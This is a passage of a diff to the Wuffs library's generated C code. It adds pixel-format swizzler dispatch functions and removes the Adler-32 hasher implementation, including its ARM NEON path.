WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxxxxxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_xxxxxxxx__index_binary_alpha__src_over; -+ } -+ return NULL; - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over; -+ } -+ return NULL; - --// ---------------- Status Codes Implementations -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over; -+ } -+ return NULL; -+ } -+ return NULL; -+} - --// ---------------- Private Consts -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__bgr_565( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_private_impl__swizzle_copy_2_2; - --// ---------------- Private Initializer Prototypes -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ return wuffs_private_impl__swizzle_bgr__bgr_565; - --// ---------------- Private Function Prototypes -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ return wuffs_private_impl__swizzle_bgrw__bgr_565; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -+ return wuffs_private_impl__swizzle_bgrw_4x16le__bgr_565; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up__choosy_default( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x); -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swizzle_rgb__bgr_565; - --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up_arm_neon( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x); --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ return wuffs_private_impl__swizzle_rgbw__bgr_565; -+ } -+ return NULL; -+} - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up_x86_sse42( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__bgr( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_private_impl__swizzle_bgr_565__bgr; - --// ---------------- VTables -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ return wuffs_private_impl__swizzle_copy_3_3; - --const wuffs_base__hasher_u32__func_ptrs --wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { -- (uint32_t(*)(const void*))(&wuffs_adler32__hasher__checksum_u32), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_adler32__hasher__get_quirk), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_adler32__hasher__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- wuffs_base__slice_u8))(&wuffs_adler32__hasher__update), -- (uint32_t(*)(void*, -- wuffs_base__slice_u8))(&wuffs_adler32__hasher__update_u32), --}; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_bgrw__bgr; - --// ---------------- Initializer Implementations -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -+ return wuffs_private_impl__swizzle_bgrw_4x16le__bgr; - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_adler32__hasher__initialize( -- wuffs_adler32__hasher* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swizzle_swap_rgb_bgr; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42; -+ } - #endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -- } -+ return wuffs_private_impl__swizzle_bgrw__rgb; - } -+ return NULL; -+} - -- self->private_impl.choosy_up = &wuffs_adler32__hasher__up__choosy_default; -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_y__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_y__bgra_nonpremul__src_over; -+ } -+ return NULL; - -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = -- wuffs_base__hasher_u32__vtable_name; -- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = -- (const void*)(&wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32); -- return wuffs_base__make_status(NULL); --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src_over; -+ } -+ return NULL; - --wuffs_adler32__hasher* --wuffs_adler32__hasher__alloc(void) { -- wuffs_adler32__hasher* x = -- (wuffs_adler32__hasher*)(calloc(sizeof(wuffs_adler32__hasher), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_adler32__hasher__initialize( -- x, sizeof(wuffs_adler32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over; -+ } -+ return NULL; - --size_t --sizeof__wuffs_adler32__hasher(void) { -- return sizeof(wuffs_adler32__hasher); --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_4_4; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over; -+ } -+ return NULL; - --// ---------------- Function Implementations -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src_over; -+ } -+ return NULL; - --// -------- func adler32.hasher.get_quirk -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_adler32__hasher__get_quirk( -- const wuffs_adler32__hasher* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ // TODO. -+ break; - -- return 0u; --} -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over; -+ } -+ return NULL; - --// -------- func adler32.hasher.set_quirk -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_adler32__hasher__set_quirk( -- wuffs_adler32__hasher* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over; -+ } -+ return NULL; - -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ // TODO. -+ break; -+ } -+ return NULL; - } - --// -------- func adler32.hasher.update -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul_4x16le( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_adler32__hasher__update( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src_over; -+ } -+ return NULL; - -- if ( ! self->private_impl.f_started) { -- self->private_impl.f_started = true; -- self->private_impl.f_state = 1u; -- self->private_impl.choosy_up = ( --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_adler32__hasher__up_arm_neon : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_adler32__hasher__up_x86_sse42 : --#endif -- self->private_impl.choosy_up); -- } -- wuffs_adler32__hasher__up(self, a_x); -- return wuffs_base__make_empty_struct(); --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src_over; -+ } -+ return NULL; - --// -------- func adler32.hasher.update_u32 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_8_8; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_adler32__hasher__update_u32( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return 0; -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 0; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src_over; -+ } -+ return NULL; - -- wuffs_adler32__hasher__update(self, a_x); -- return self->private_impl.f_state; --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ // TODO. -+ break; - --// -------- func adler32.hasher.up -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- return (*self->private_impl.choosy_up)(self, a_x); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src_over; -+ } -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src_over; -+ } -+ return NULL; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ // TODO. -+ break; -+ } -+ return NULL; - } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up__choosy_default( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint32_t v_s1 = 0; -- uint32_t v_s2 = 0; -- wuffs_base__slice_u8 v_remaining = {0}; -- wuffs_base__slice_u8 v_p = {0}; -- -- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); -- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); -- while (((uint64_t)(a_x.len)) > 0u) { -- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -- if (((uint64_t)(a_x.len)) > 5552u) { -- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5552u); -- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5552u); -- } -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8); -- while (v_p.ptr < i_end0_p) { -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- } -- v_p.len = 1; -- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end1_p) { -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__bgra_premul( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__bgra_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__bgra_premul__src_over; - } -- v_p.len = 0; -- } -- v_s1 %= 65521u; -- v_s2 %= 65521u; -- a_x = v_remaining; -- } -- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); -- return wuffs_base__make_empty_struct(); --} -- --// -------- func adler32.hasher.checksum_u32 -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_adler32__hasher__checksum_u32( -- const wuffs_adler32__hasher* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return self->private_impl.f_state; --} -- --// ‼ WUFFS MULTI-FILE SECTION +arm_neon --// -------- func adler32.hasher.up_arm_neon -+ return NULL; - --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up_arm_neon( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint32_t v_s1 = 0; -- uint32_t v_s2 = 0; -- wuffs_base__slice_u8 v_remaining = {0}; -- wuffs_base__slice_u8 v_p = {0}; -- uint8x16_t v_p__left = {0}; -- uint8x16_t v_p_right = {0}; -- uint32x4_t v_v1 = {0}; -- uint32x4_t v_v2 = {0}; -- uint16x8_t v_col0 = {0}; -- uint16x8_t v_col1 = {0}; -- uint16x8_t v_col2 = {0}; -- uint16x8_t v_col3 = {0}; -- uint32x2_t v_sum1 = {0}; -- uint32x2_t v_sum2 = {0}; -- uint32x2_t v_sum12 = {0}; -- uint32_t v_num_iterate_bytes = 0; -- uint64_t v_tail_index = 0; -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__bgra_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__bgra_premul__src_over; -+ } -+ return NULL; - -- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); -- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); -- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -- v_s1 += ((uint32_t)(a_x.ptr[0u])); -- v_s2 += v_s1; -- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -- } -- v_s1 %= 65521u; -- v_s2 %= 65521u; -- while (((uint64_t)(a_x.len)) > 0u) { -- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -- if (((uint64_t)(a_x.len)) > 5536u) { -- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); -- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); -- } -- v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); -- v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); -- v_v1 = vdupq_n_u32(0u); -- v_v2 = vdupq_n_u32(0u); -- v_col0 = vdupq_n_u16(0u); -- v_col1 = vdupq_n_u16(0u); -- v_col2 = vdupq_n_u16(0u); -- v_col3 = vdupq_n_u16(0u); -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 32; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); -- while (v_p.ptr < i_end0_p) { -- v_p__left = vld1q_u8(v_p.ptr); -- v_p_right = vld1q_u8(v_p.ptr + 16u); -- v_v2 = vaddq_u32(v_v2, v_v1); -- v_v1 = vpadalq_u16(v_v1, vpadalq_u8(vpaddlq_u8(v_p__left), v_p_right)); -- v_col0 = vaddw_u8(v_col0, vget_low_u8(v_p__left)); -- v_col1 = vaddw_u8(v_col1, vget_high_u8(v_p__left)); -- v_col2 = vaddw_u8(v_col2, vget_low_u8(v_p_right)); -- v_col3 = vaddw_u8(v_col3, vget_high_u8(v_p_right)); -- v_p.ptr += 32; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over; - } -- v_p.len = 0; -- } -- v_v2 = vshlq_n_u32(v_v2, 5u); -- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col0), ((uint16x4_t){32u, 31u, 30u, 29u})); -- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col0), ((uint16x4_t){28u, 27u, 26u, 25u})); -- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col1), ((uint16x4_t){24u, 23u, 22u, 21u})); -- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col1), ((uint16x4_t){20u, 19u, 18u, 17u})); -- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col2), 